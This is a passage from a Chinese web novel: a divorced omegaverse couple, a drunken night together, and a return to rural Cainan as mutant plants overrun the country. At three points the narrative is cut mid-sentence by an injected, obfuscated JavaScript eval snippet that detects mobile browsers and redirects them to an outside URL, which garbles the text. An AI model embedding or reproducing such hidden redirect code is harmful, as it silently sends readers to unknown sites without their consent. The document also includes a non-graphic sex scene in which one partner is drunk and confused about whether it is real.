《离婚后回家种地》 1. 离婚 大雪,民政局门口。 白舟看着这个自己追逐了八年的女人,往事犹如走马灯一般闪过,心里既难过,又轻松。 难过的是,她拿八年青春也没能换回半分情意,多少都是有点不甘心的;轻松的是,这场一厢情愿的感情终于到此为止了。 她们不会再上演单相思的戏码了。 只是有一件事,白舟仍有些许介怀,她面对着姚悯,问出了让她不该抱有希望的问题,“你为什么不给我分离婚财产?” 还是有些委屈。 虽然她大学毕业后一直没上过班,没为这个小家做出过什么贡献,每个月还能领到姚悯给的零花钱,虽然她也并非要贪图姚悯的财产,只是一向慷慨大方的人却突然变得抠门起来,白舟很难不多想。 对方是不是想用财产留住她? 是不是想让她为了得到离婚财产而继续纠缠下去? 但这个问题无解了,反而又多了一个新的问题,因为姚悯用一种似不舍,又似难过的眼神看着她,然后一言不发地转身离开了。 这个女人就是这样,长了张漂亮的樱桃小嘴,却只拿来吃饭了。 结婚五年,白舟就没听她说过几句话,每次都是“嗯”“好”“你决定”,平时沉默得像个小木偶。 但现在不重要了,她们离婚了,姚悯爱对谁高冷就对谁高冷去吧,她白舟不想舔了。 可她还是好难过,一段感情哪有这么容易放下,尤其是在对方魅力不减反增的情况下。 白舟不想为她说好话,但姚悯确实除了不爱她,其他方面都很好,长得好看,气质上佳,脾气好,家境也好,是别人眼中很好的结婚对象。 白舟看着姚悯离开的背影,白色的大衣被冷风吹起一个角,仿佛在对她招手,请求她追上去一样。 她忽然产生了强烈的不舍,像心里刮起了一场大风,卷着她的心脏要逃离她的身体。 白舟把这场不舍归为习惯使然,毕竟是她单恋了八年的人,有点不舍也是人之常情,于是她始终没有往前迈一步,也没有追上去问个清楚。 她知道,她们之间彻底结束了,不管她多爱姚悯,也不管姚悯对她到底有没有爱过,都将在这一刻终结了。 留点体面吧。 白舟告诉自己:给自己留点尊严吧,别再像条狗一样追上去了。 爱如果不是互相奔赴的,那将永远也体会不到爱情原本的幸福。 况且她也不差,家里也算有钱,人也漂亮,还贴心,放下这段不对等的感情,也许还能遇到一个不错的人,正正常常谈一场不错的恋爱。 白舟抱着这个唯一能说服自己别再纠缠的想法,打电话约了好朋友出来喝酒,但她们过来还需要一段时间,于是喝得微醺的白舟一口气点了两个Alpha美女陪酒。 等于音和赵知过来后就看见,妈妈们眼里乖巧的漂亮Alpha正醉眼朦胧地坐在卡座里,左手搂着一个长卷发瓜子脸的漂亮女人,右手箍着一个短卷发的小奶A,一副享受快乐人生的样子。 霓虹闪烁,驻台歌手又唱起了民谣,赵知抬手推推眼镜,理智的眼神和于音震惊的眼神对上,皆在对方眼里看到“出事了”三个大字。 于音抓抓自己的锅盖蓬蓬头,将包往身后一甩,走过去挤走两个黏在白舟身上的Alpha,然后捧着白舟的脸,说得敬佩不已,“粥啊,你出息了,一下点俩,还都是跟你一个属性的,被你家的姚悯看到,你就完了。” 赵知在白舟的另一边坐下,拿中指推推眼镜,一本正经地点头,“言之有理。” 于音又语重心长地说:“粥啊,难道你憋久了,不想装了,想拿回自己在小学时‘花蝴蝶’的名称了,你家的小悯悯不想要了?” 她们的粥,小学时特别的活泼可爱,一出现准有同学围上来,争着抢着要和她做朋友,但白舟小同学却说自己是只“花蝴蝶”,注定不会为谁停留。 她就这样飞在万花丛中,最终却栽在了姚悯手里,为她驻足了八年。 白舟对姚悯是一见钟情,再见倾心,在对方每年都以优秀学生站在讲台上发言后更是一发不可收拾,凭着一股年轻的莽劲闯入了对方的世界,却屡屡受挫。 第一次跟姚悯有交集时,对方没记住她,第二次跟姚悯产生交流时,对方没把她当回事,后来俩人跳过恋爱直接结婚后,白舟更是尝尽了等待一个人回家的苦楚。 不甘心,她还没跟姚悯接过吻呢。 想到这儿,白舟又是一杯酒闷下肚,大着舌头发泄:“不要了不要了,谁爱要谁要去。” 语带哭腔,跟她的话背道而驰。 于音和赵知对视一眼,凑在一起悄声说:“完了,这不会离婚了吧?” 当初得知这俩人要结婚时,她们就不看好,还试图劝过白舟,但那会儿的白舟整天兴奋得跟得了座金矿似的,飘得什么话都听不进去。 “有可能。”赵知点点头,理性分析,“粥从小就这样,一旦喜欢上什么就特别上头,但是得不到想要的回报就容易下头,她围着姚悯转了那么多年,一直没得到期望中的回应,算算时间,也该下头了。” 于音:“……” 她看着明显不会为爱情烦恼的理性赵知,有点想哭了,“你能别分析了吗?感情它不一样,咱们的粥是个恋爱脑来着。” 不像你,是个断情脑。于音暗暗吐槽了一句。 赵知推推眼镜,一脸冷静,“你信吗?” 于音一噎,白舟没遇到姚悯前可一点都没看出来是个恋爱脑。 她还想再说,白舟却忽然高声唱起了《分手快乐》,声音像刚吃过辣条一样,劲劲的。 “完了,这是真离了吧?”于音看着还在买醉的白舟,发现她脸上不知什么时候挂了几行泪痕。 白舟是个既理性又感性的人,有时候能在大家都慌乱时保持镇定,有时候又会因为陌生人的惨事而流泪。 现在旁边又没有谁在说自己的惨事,她还这副模样,定是感情出了问题。 于音揽过她的肩膀,化身贴心好朋友,“粥啊,你这是咋了?是不是和姚悯闹矛盾了?别哭别哭啊,我们在呢。” 赵知也伸手在她背上轻拍了拍,“在呢,我们都在,你想哭就哭,酒想喝多少就喝多少,醉了我们会拖你回去的。” “啧。” 于音不赞同地瞪了赵知一眼,然后一个劲地问白舟发生了什么事? 喝得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728481|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醉眼朦胧的白舟只感觉有只小蜜蜂在她耳边“嗡嗡”叫,恼人得很,于是她抬手挥了一下,却把自己挥倒了,闭着眼睛仰面靠在椅背上。 “……” “这是,醉了?”于音不可置信地看向桌面,那里摆了好几排空酒杯,她来的时候竟然没看见。 “服了,叫咱们出来喝酒,自个先醉了。”于音摇摇头,看向赵知,“这还剩不少呢,要不,咱喝了?” 她有点好酒,赵知也有点,于是她点点头,“可以,别浪费了。” 于音:“嗯,浪费可耻。” 几杯酒下肚后,赵知忽然看向安安静静半躺着的白舟,思索片刻后,抓起白舟的手,从她的手环里找到姚悯的电话打了过去,接通后直接报了个地址,让人过来接白舟。 全程不废话,看得于音钦佩不已,又担忧不已,“万一她俩真离了,你还人让过来接,人家会来吗?” 赵知抿一口酒,睨她一眼,“没离肯定来,离了就不知道了。” “高啊。”于音竖了个大拇指。 俩人有一搭没一搭地喝着小酒,聊着天。 于音想到自己最新得到的消息,有些担忧地说:“我们院在彩南又发现了三百株变异植物,还都具有攻击性,你以后出门的时候小心点,我师傅说了,变异植物可能会越来越多,不知道什么时候、什么地点就突然冒了出来,袭击路过的一切生物。” 赵知扶了扶眼镜,“我会小心的,倒是你,天天跟植物打交道,更需要注意安全的是你才对。” 一年前,彩南的某一个村庄里有人被忽然疯长的植物攻击后,在网上掀起轩然大波,国家高度重视,派了一波又一波的植物学家过去研究,可惜还没研究出什么来。 于音叹了口气,“我是没办法了,俺是植物研究院的人,上面派我去哪儿就去哪儿,再过几天我就要前往彩南了。” 赵知身为打工人,特别能理解这种身不由己,举杯敬她,“同是天涯沦落人,过几天我也要前往彩南就职了,上面也派了我去‘康和医院’救死扶伤。” 于音举杯与她碰了一下,饮下一杯心酸酒之后,彼此默默看向睡得乖巧的白舟,竟然都有些羡慕这位吃了几年软饭的好友。 正想着,余光里忽然出现一双大长腿,于音抬头看去,更能理解她们的粥粥同学为什么死活要变成恋爱脑了。 就姚悯这样的外形条件,放在哪儿都是耀眼的存在,大眼睛、小脸蛋,就连贴头皮的发型也没减少她的半分美貌,就算抛开外形条件,单看她的气质也是能一眼从人群中找出来的对象。 而不巧,粥粥同学从小就是个颜狗。 “我来接白舟。”姚悯对她们说,眼睛却始终盯着白舟。 只是语气平平,眼神也很平静。 于音刚准备花痴的脑子瞬间清醒,见对方好像不是很在乎白舟的样子,内心不觉有些看她不顺眼起来,借着酒气撒气道:“接啥接呀,谁让你来接了,咱们粥粥一会儿醒了还要再点几个美妞继续喝呢。” 赵知事不关己地喝着酒,忽然听见自己的名字。 “不是赵知让我来的吗?” 她还用了疑问句,噎得两人当场失去所有语言。 2. 一场美梦 姚悯抱着白舟走出酒吧,轻柔地将人塞进副驾驶后,对着这张人畜无害的脸叹息了一声。 像心疼,又像无奈。 醉酒的人很安静,开车的人也很安静。 姚悯到现在都没想明白白舟为什么执意要离婚,明明她们……相处得还算不错。 除了没有性.生活之外,一切都挺好的。 而且结婚之前,她也同白舟说过了,她不喜欢接吻、做.爱,白舟同意了,可她现在却因为这件事情要离婚,姚悯无法理解,甚至有些生气。 到地下停车场后,姚悯没有第一时间下车,而是转头看着白舟,直接锁定她的唇。 非得接吻才能在一起吗? 姚悯想不明白,她只是往前倾身,在白舟唇上轻轻碰了一下。 也没什么啊。 得不到什么愉快体验的姚悯正想退开,后脑勺却被人摁住了,嘴里钻入一条陌生的软物。 她尝到了苦涩的酒味。 姚悯微微瞪大双眼,抬手搭上白舟的肩想推开她,却发现她的眼角不知什么时候聚起了一团湿意。 推拒的手顿了顿。 “悯儿,想亲亲。”白舟贴着她的唇呢喃了一声。 声音小小的,像祈求怜爱的小猫咪。 姚悯心软了,动了动被亲麻的舌尖,却换来新一轮亲吻。 虽然接吻没有想象中讨厌,但也谈不上多喜欢。 不知过了多久,白舟才松开摁在她脑后的手,却依旧紧闭着双眼,仿佛刚刚只是在梦游一样。 姚悯平复下呼吸,喊了一声:“白舟?” 白舟没反应,于是她又喊了一声,对方还是没反应,像醉得不醒人事了一样。 姚悯见过很多醉酒的人,有的丑态百出,有的变成话唠,有的爱打人,也有的像白舟这样,安安静静地睡着。 但她不知道别人睡着之后会不会随便抓住个人就开始亲,亲完之后又睡着。 姚悯下车把她拦腰抱起。 停车场很安静,也很冷,窝在姚悯臂弯里的白舟无意识往里缩了缩,像是寻到了熟悉的味道一样,不安分地蹭着。 “别乱动。”进入电梯后,姚悯偏头说了一句,却刚好看到白舟睁开了眼。 “醒了?”她问。 声音柔柔的,白舟只在梦里听到过。 “悯儿。”她抬手想抚上姚悯的脸,却软绵绵地只摸上了人家的下巴。 白舟一下就有些委屈了,瘪着嘴,不甘心地挪动着还带着酒意的手指,终于攀上那张如玉的脸。 捏了捏。 “还挺真实的,连温度都一样。”她喃喃道。 说着,她又捏了捏,但手上没什么力度,跟抚摸似的,捏得姚悯痒痒的,她偏了下头,避开这只猫爪。 白舟不开心了,甚至怒了一下,这都在她的梦里了,姚悯还是不让摸。 “白舟,你酒醒了吗?”出了电梯后,姚悯把她放下来,淡淡问道。 白舟倚在墙上,没吭声,低着头不知道在想些什么,从姚悯这个角度看,对方还是闭着眼睛的,于是姚悯抬起她的下巴,却忽然闻到一丝陌生的味道,像花香,又像草木香。 清新,却充斥着侵略性。 信息素的味道? 姚悯的心脏收缩了一瞬,随之而来的是喜悦和慌乱,但她还没来得及作出反应就感到后颈开始发烫,另一阵雪莲的香气瞬间充斥着宽敞的过道。 她的腺体……有反应了…… 姚悯握着白舟的手微微颤抖着,像受到刺激,又像控制不住信息素的肆虐。 “好香啊。”白舟耸着鼻尖往前凑,眼睛已经微微开了一条缝。 按理说时代发展到如今,人类在正常情况下早已不受易感期的影响而随时随地发.情,但人总会受到内心的驱使。 白舟寻着味凑到姚悯的后颈,浓郁的雪莲香气让她一时分不清这是现实还是梦境。 “悯儿,只有在梦里,你才……才会有感觉吗?这好像……是我第一次闻到……你信息素的味道……” “真好闻。”白舟浸过酒的眼睛雾朦朦地看着姚悯,“那你现在能给我亲了吗?” 委屈巴巴的眼神,眼睛却是亮晶晶的,像狗狗眼一样。 但姚悯知道,很危险,她们现在很危险。 可她……好像并不想拒绝这样委屈的白舟,而且她现在也不大好受,好像有一种陌生的情绪在操控着她。 “先进屋。”姚悯一边说,一边把颤抖的手指摁在指纹锁上。 屋里暖融融的,人也暖融融的。 没开灯的屋子有些暗,但这是她们共同生活了五年的房子,就算闭着眼睛都能知道每一件物什的摆放位置。 但白舟还是撞到了沙发角,顺带着和姚悯一起倒在了狭窄的沙发上,晕乎乎的脑袋好像更晕了。 在偷跑进屋的月光下,她第一次看见了满面通红的姚悯,对方趴在她怀里像害羞了一样。 曾经想要的好像在这一刻实现了。 白舟眼红红地看着她,“悯儿,我好想拥有你啊,哪怕是在梦里。” 是的,白舟依然认为这是在她的梦境里的,因为现实中的姚悯不会离她这么近,也不会给她亲,更不会脸红。 刚攒了点力气想站起来的姚悯沉默了,她开始迟疑起来,但白舟没给她太多考虑的时间,霸道地扣住她的后脑往下压。 第二次接吻是轻柔的,像被猫□□一样,姚悯依旧不讨厌。 所以,她曾经为什么会讨厌接吻呢? 或许,她现在也不讨厌做.爱了。 姚悯没再拒绝她。 陌生的感觉渐渐环绕着她,上天亲手为她栽种的茱.萸被人采摘,平原下还有山川,滋养着行将就木的旅人。 感觉有点不受控了,她不喜欢失控的感觉。 “白舟……” 姚悯呢喃了一句,伸手往下推,却被人握住了手腕。 “别怕,我不会让你难受的。”白舟爬上来安抚地亲了亲她的唇。 “好喜欢……”她一边呢喃着自己的情感,一边亲吻着姚悯,一边抚摸着她。 如果这是梦,那她许愿永远都不要醒来。 如果这不是梦,那她许愿姚悯永远在她身边。 不知疲倦,将酒熬醒,又醉在温柔乡里,白舟已经分不清现实与梦境了,只一味地凭着本能行事。 天亮后,大雪纷扬。 偌大的床上有个女人在努力地解着绑在手腕上的绳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728482|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 白舟不记得自己是怎么回到这里的,也不知道自己怎么就被绑在床上了,但她知道肯定是姚悯绑的她,因为以前她想亲姚悯的时候就被对方这样绑过。 不过这次的绳子绑得并不牢固,白舟很容易就解开了,然后坐起来甩甩自己又酸又麻的双臂,努力回想着昨晚发生了什么。 她喝了酒,还点了两个陪酒的美女,接着于音和赵知过来了,然后呢? 好像……做了一场旖旎的美梦。 白舟身上还穿着昨天的衣服,却已经是皱皱巴巴的了,床单也皱皱巴巴的,旁边的长形枕头也皱皱巴巴的,上面还有一团干涸的水渍,像口水之类的。 脑子适时飘过几段零星的梦境,白舟一时有些无法直视这个皱皱巴巴的枕头了。 她不会不知羞耻地糟蹋了一个枕头吧? 白舟动动自己的唇,好像有些麻麻的,像抱着枕头亲了好久一样。 有的人喝醉后就容易忘事,白舟属于忘得比较严重的那一类,她压根没想过自己能亲到姚悯,还和对方发生了不可描述的事情。 她只感觉自己的手臂酸痛酸痛的,和以前被绑着过了一夜之后的感觉一模一样。 可是姚悯绑她干什么呢?总不能是因为看见她在非礼一个枕头而无法直视吧。 越想越觉得这是事实,白舟捂脸倒在床上,生无可恋地看着天花板。 空荡荡的房间只剩她一人,有些庆幸,又有些失落。 庆幸的是姚悯不在这里,失落的也是姚悯不在这里。 放空了许久,左手上的手环忽然在空中弹出一个小小的投影来电,白舟看了一眼后,手指有气无力地在空中点了一下。 手环是近几年才被广泛应用的通讯设备,方便携带,还能在空中投影,画面大小都可自行调节,除了一些老年人用不习惯之外,几乎全国人民都在使用。 白舟无精打采地“喂”了一声。 “哎哟,您这怎么跟被妖精榨干了精气似的。”于音说。 “我被绑了一夜,浑身都不舒服。” 于音惊了,“窝草,这么刺激!姚悯还是个S?你竟然是个M?” 激动得声音都劈叉了。 “想什么呢。”白舟淡淡打了个哈欠,翻身趴在床上,漫不经心地说:“我跟她已经离婚了。” 所以怎么可能会发生关系呢,还玩这么重口味的东西。 她们已经离婚了,继续在这张床上躺下去只会显得她可悲。 房子是姚悯的,虽然对方现在不在家,但白舟是一个体面人,既然分开了,就应该离远一些,不过多纠缠。 挂了电话后,白舟开始收拾属于自己的东西。 她在这里生活了五年,每天无所事事地等姚悯下班回家,一无聊就喜欢做一些手工,所以这套房子处处可见她的杰作。 但这些她都不想带走,太累赘了。 白舟只是简单地收拾了几件换洗衣服就出门了,刚来到楼下,于音的迷你小汽车就停到了她面前。 “啥情况啊?咋还真离婚了呢?” 白舟一上车,于音就问她。 白舟靠在车窗上,望着窗外的倒退的景色,语气无波无澜,“嗯,离了,她是个性冷淡。” 3. 种地?不会呀! 一路上,于音都用一种“你竟然过了五年无性婚姻”的不可置信眼神看白舟,但白舟丝毫不受影响,耷拉着大眼睛看窗外。 “可你不是很爱她吗,真舍得因为这个而离婚啊?”于音问。 其实于音觉得,柏拉图恋爱也挺不错的。 “不舍得。”白舟实话实说,“但也不全是这个原因,她不爱我,继续纠缠也挺没意思的。” 白舟觉得自己能接受柏拉图,但这么多年来,她感受不到姚悯丁点的爱意,连个精神恋爱都没谈过,这是她不能接受的,也不是她向往的婚姻。 于音张了张嘴,忽然想到昨晚姚悯来接人时的冷淡模样,又闭了嘴,赞同地点点头。 “离了也挺好的,咱再找一个。”于音安慰她。 再找一个? 太难了。 白舟摇摇头,不欲多说,转了话题:“我想回彩南了。” 她的老家在彩南,家人也在彩南,和姚悯结婚后她就很少再回去了。 于音有时候总是缺根筋,闻言兴奋了,“那咱们一起吧,还有赵知,咱仨一起回去惊艳他们。” 曾经的彩南还是一个山青水秀的边陲小镇,后来变异植物出现,如今这里都快要长成森林的模样了,而她们就是森林中的小精灵。 “哇我已经能想到我每天都出去当野人的模样了。”于音从飞车往下看,那是既兴奋,又忧伤。 兴奋的是这份工作可以干很久了,不用担心失业了,忧伤的是这下面随时都有可能发生危险,小命难保。 白舟也看着下面陌生的景象,问她:“你们院怎么会把你派过来了?” 于音在植物研究院怎么也是个科长,应该在研究院里带学生搞科研才是。 “嗐,这不是院里没啥人了吗,大家都怕死,没人愿意来,这苦差可不就落到了没权没势的我身上了吗。”于音撇撇嘴。 出了社会才知道关系户的重要性,白舟虽然没上过班,却也能理解,她又看向赵知,对方扶扶眼镜,说:“一样。” 她们仨儿都是彩南人,但同人不同命,相较于她们而言,白舟可是正儿八经的官二代。 但她后来因为恋爱脑,不顾家里的威逼利诱,大学一毕业就死活要和姚悯结婚,差点被白亦舒打断腿。 虽说最后她家里也被迫接受了这桩婚事,但在得知白舟整天无所事事,就躺在家里等着姚悯养的时候,白亦舒又发了好大一通脾气,说她丢人,随后又找关系给白舟找了个班上,但那会儿的白舟正是黏姚悯的时候,每天在家研究美食给姚悯做饭,自然没有乖乖出去上班。 所以一下了飞车,她就开始心虚,怕回到家里被白亦舒打断腿。 “你们要去我家喝杯茶吗?”白舟向两位好友发出邀请,想着有“外人”在,白亦舒应该会收敛一些。 但于音和赵知显然没捕捉到她话里的意思,拒绝得分外干脆。 于是白舟只能背着自己的大背包独自往村里最古老的房子走去。 她家的房子是祖上传下来的,木头做的,建得恢弘大气,白舟每次回来都觉得自己像进了王府一样。 当然,她家没有王府那么大,但布局挺雅致的,进去就是一个大院子,有花有草、有假山、小池子、石桌石凳和秋千。 池子边上坐了一位手拿鱼杆的老人家,正是白舟的奶奶。 对于白舟的突然出现,她显然很高兴,放下鱼杆就走了过来,“你咋回来了?这次还是没把小悯带回来?” 别看白舟跟姚悯结婚了,但姚悯一次都没跟白舟来过这里,问白舟,白舟就只会说姚悯工作繁忙,没时间来回折腾。 白舟抱上她的胳膊,撒娇似的摇了摇,“想奶奶了,就回来了呗。” “要是真想我啊,你就应该常常回来看看我这个老太婆,你说你都多久没回来了,我呀,都快忘了你长什么样了呢。”白望不满地戳戳她额头。 说得她跟个白眼狼似的,但仔细一想,她好像有两年没回来过了,白舟的气势都弱了下来。 “小悯呢?你上次不是说下次回来就把她带回来给我们看看的吗,人呢,带哪儿去了?”白望又问。 回来的路上白舟就想到了她们要问,也没打算瞒着,平静地说:“我跟她离婚了。” “你说什么?” 白望的反应很大,不像高兴,倒像是……生气了? 白舟不懂了,复述一遍后,说:“你们不是一直都不看好我们吗,我和姚悯结婚,你们都没出席我们的婚礼,一次也没来漳洲看过我们呢,现在我和她离婚了,您不是应该高兴吗?” 白望是真的很生气,袖子都来不及撸就挥手往她背上拍了几下,“谁让你离婚的,谁让你离婚的,婚姻是儿戏吗,你不是很喜欢人家吗,一直追在人家屁股后面跑,宁愿被你妈打断腿也要留在她身边,这么爱她你离什么婚呀,离婚很好玩是吗?” 白舟没想过自己还能因为离婚而被打,毕竟当初她的家人确实特别反对她这桩婚事的,她还以为她们得知她离婚后会很高兴呢。 白望气了一会儿后,见她没嬉皮笑脸地躲开,也就不再打了,看着她好像有些憔悴的脸问:“说话啊,哑巴了,好好的为什么要离婚?” 为什么要离婚? 她能说姚悯不爱她吗? 白舟从小就是个骄傲的人,凡事都要做到最好,任何事只要上了心,就必须要有一个结果,她不计较为此付出了什么代价。 但当初她信誓旦旦地对家里人说姚悯爱她,而她也坚信姚悯会爱上她,所以她不顾家里反对,也不顾朋友们不理解的眼神,毅然决然地和姚悯结了婚。 当年她和家里闹得全村人都知道了,现在又哪里说得出“因为姚悯不爱我,所以我想离婚了”这句话。 这无疑是自打嘴巴子。 “没感情了,就离婚了呗。”白舟一脸无所谓。 防止白望继续往下问,白舟佯装打了个哈欠,“好困啊,我回房补个觉,奶奶您继续钓鱼吧,等我睡醒了就给您炖鱼汤喝。” “还给我炖鱼汤,不把自己炖了就谢天谢地了。”白望摇摇头,对着她的背影叹了一句。 日子过得好好的,离什么婚呢? 白舟的房间一直都有人定期打扫,所有东西都保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728483|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着她离开前的模样,像她从未离开过一样。 莫名,她的鼻尖就开始酸酸的了,分不清是被家里给温暖到,还是离婚后后知后觉的难过。 天黑后,白舟才顶着红通通的眼睛从房里出来,溜达了一圈后,才猛然发现她们家好像没什么人。 “奶奶,妈妈妈咪去哪儿了?还有赵姨她们,怎么都不见人呢?”她边往厨房走,边大声喊道。 白舟虽然从小生活在村里,但家里还算有钱,小时候白亦舒就请了三个阿姨来照顾她们一家子的生活起居。 白望边解下围裙,边回她:“你妈妈升职了,在广南任职呢,你妈咪也跟着去了。” 闻言,白舟松了口气,又有些没见到亲人的失落感。 “那赵姨她们呢?怎么一个都不见了?平常谁来给奶奶做饭啊?”白舟帮着把饭菜端出去,不大满意地问道。 白望叹息一声,“她们在昨天就都跟着自己的孩子离开彩南了,咱们彩南如今是既安全又危险啊。” “自从越来越多人受到变异植物的攻击之后,彩南就成了国家重点保护和研究的地方,你回来的路上也看到了吧,几乎每条街道都有士兵巡逻,每株变异植物周围都会围着三两个植物专员在那做研究。” 对于这些,白舟已经从网上了解过了,但她还不清楚植物是怎么变异的,于是她问:“那奶奶知道植物为什么会产生变异吗?奶奶有被植物攻击过吗?妈妈妈咪走的时候怎么没把你带上啊?留在这儿多危险啊。” 后面两句有些埋怨的意味了。 白望给她夹了一筷子菜,“是我要留在这儿的,我走了,谁来陪薇儿说话。” 薇儿是白望已故的老婆,俩人青梅竹马,长大后顺理成章地结了婚,感情好得跟一个人似的。 情路坎坷的白舟内心小小地酸了一下,接着,鼻尖又大大地酸了一下——替奶奶感到伤心。 “你看你,眼眶又红了。”白望无奈地拍了拍她的手,“就是你这副感性样,咱们家的人才不希望你离家太远,共情能力太强了,一个人在外面不知道要哭多少回呢。” 白舟从小就是个哭包,但她从不会因为自己被欺负而哭泣,她只会在看电视时因为里面的角色过得太惨而哭。 所以她从认识姚悯以来,只为自己哭过三次,一次是结婚的时候,一次是想亲姚悯却被对方绑住的时候,还有一次是离婚的时候。 “我哭也是因为别人过得太惨了,这叫共情能力强。”白舟苍白地解释了一句。 这确实是事实,白望了解她,但她看着白舟肿肿的红眼睛,也不打算跟她论太多。 白望一边吃饭,一边说:“你妈妈说跟气候变暖有关,具体的她也没说太多,不过未来会有越来越多的植物发生变异,咱们躲去哪儿都没用,唯有适应生存环境和提高警惕性。” “现在你回来也挺好的,你妈妈让我们多种点粮食,说将来可能就只有粮食值钱了。” “种地?我不会呀!”白舟一脸震惊,小眉毛皱成了蚯蚓状。 她从小到大,只在七岁之前玩过泥巴,八岁那年种朵花还给种死了呢。 4. 回去找她 不管怎么样,白舟最终还是选择了种地,因为她学的专业在这里帮不上半点忙,相当于大学白上,除了种地再没有更适合她的工作了。 但很显然白亦舒的决定是对的。 白舟刚回来才过了一个星期,变异植物就在全国爆发,钢筋水泥被刺破,高楼大厦爬满藤蔓,人口急剧缩短,资源一再短缺,很多工业项目都被迫停了下来,更重要的是,地里种的粮食也成了变异植物的养分。 “近日来,全国多地出现变异植物,连首都——漳洲也不能幸免。目前漳洲已有多幢楼房遭遇变异植物的攻击,造成无法挽回的经济损失,尤其是姚氏集团,一夜之间成了废墟……” 刚从地里回来的白舟瞬间弹了起来,三两步抢过白望手里的手机搜索“姚氏集团”。 随着一个个词条的出现,白舟的脸越来越苍白,恐慌瞬间如暴雨般冲刷着她。 姚氏集团…… 姚悯工作的地方…… 塌成了废墟…… 那姚悯…… 想象太丰富,放大了害怕。白舟颤抖着手指按下那串滚瓜烂熟的号码,像从前一样等了许久都没被接通,但她顾不上像从前一样失落和委屈,她现在一心只求对方快点接电话,哪怕是听到个冷淡的的“喂”也好。 但是没有,什么都没有。 铃声多响一分,煎熬就在她内心多停留一分。 “嘟——” 电话由于长时间无人接听而自动挂断,白舟急得眼圈都红了,光着的泥脚丫狠狠往地上一跺就冲了出去。 姚悯只会晚接电话,却从来都不会不接电话,她一定是出事了。 短短几秒钟,白舟的脑子就闪出几百上千种可怕的念头,她要回去找姚悯。 “哎你去哪儿呀?白舟,白舟……”白望追在她后面喊。 白舟感觉自己脑子乱乱的,全被担忧与害怕占领,根本听不到白望的呼喊,自顾自地边跑着边握着奶奶的手机继续拨打电话。 与此同时,漳洲,姚家老宅,医疗室里。 姚以柔看着医疗舱里的人,沉声问:“悯儿什么时候能醒?” 一个星期前,姚悯三更半夜从外面回来没多久就晕了过去,至今没醒过一次,姚以柔每天都要来问上一遍,司昭苦不堪言,简直要怀疑自己的医术。 姚悯的腺体有先天性的问题,激发不出信息素,也感受不到别人的信息素,司昭从进姚家大宅的第一天起就开始研究,好不容易出了点成果,正在给姚悯逐步治疗,结果还没彻底治好,姚悯就被人给标记了。 司昭快要哭了,她感觉姚悯的腺体能恢复正常已经不全是她的功劳了,但对方晕倒却有她的一份责任。 她忘了和姚悯说治疗期间不能和别人酱酱酿酿,否则会造成信息素紊乱,发生什么她也无法预测。 司昭的眉毛都皱成八字形了,看着苦哈哈的,“可能快了,但是家主请放心,小姐不会有危险的,她现在,只是在适应体内的信息素。” 这句话她天天说,然后天天被打脸。 姚以柔瞥她一眼,上位者的威压是不动声色的。司昭没招了,只能暗暗祈祷这位小祖宗快点醒过来。 也许是她的意念太强烈,刚祈祷完,医疗舱就发出了“嘀嘀”声,这是医疗舱自动检测到里面的人清醒时才会发出的声音。 司昭一个箭步窜过去,检查各种数据,确认没问题之后才把医疗舱的防护罩打开。 “你感觉怎么样?”司昭问。 姚以柔也凑了上来,关切地问:“如何了?” 姚悯转动眼珠子看了一圈后,闭上双眼,“很羞耻,你们能先出去吗。” 语气平静。 司昭和姚以柔看了看她全身上下只露在外面的锁骨:“……” 昏迷不醒的人躺进医疗舱都要将身上的衣物褪尽,泡在医疗营养液里,以维持身体机能。 不过医疗营养液是深蓝色的,浸过全身,会将该露的不该露都遮起来。 姚悯穿上衣服后,倚着医疗舱发了会儿呆。 她不知道自己躺了多久,但她想,白舟应该已经离开漳洲了吧。 姚悯怀着一种怅然若失的心情走出医疗室,外面只剩姚以柔了,对方拉着她说:“外面出事了,我们得赶紧离开漳洲。” “嗯?”姚悯不解地看着她。 姚以柔长话短说:“是变异植物,咱们家的公司塌了好几栋楼。” 说着,她拉上姚悯的手往外走,“走吧,我已经安排好了。” “我的手环呢?”姚悯问。 “你晕在地上的时候磕花了,我就给你摘下来放进你的小柜子里了。” “那白舟……” 这时姚悯注意到了周围的凌乱,泥墙不知什么时候塌了一小半,粗壮的枝条从墙壁上穿过,青石地板带着泥土鼓起了一个又一个包。 姚以柔:“她早走了,既然你们离了婚,以后就各过各的。” 姚家的每一代Omega家主都会招一个赘Alpha进来,而白舟就是姚悯挑选的赘Alpha,但由于姚悯不常回老宅,所以姚以柔也没怎么见过白舟,对于她们离婚一事,也就不怎么在意。 走了就好。 姚悯松了口气,跟着姚以柔坐上飞车,离开这个从小长到大的地方。 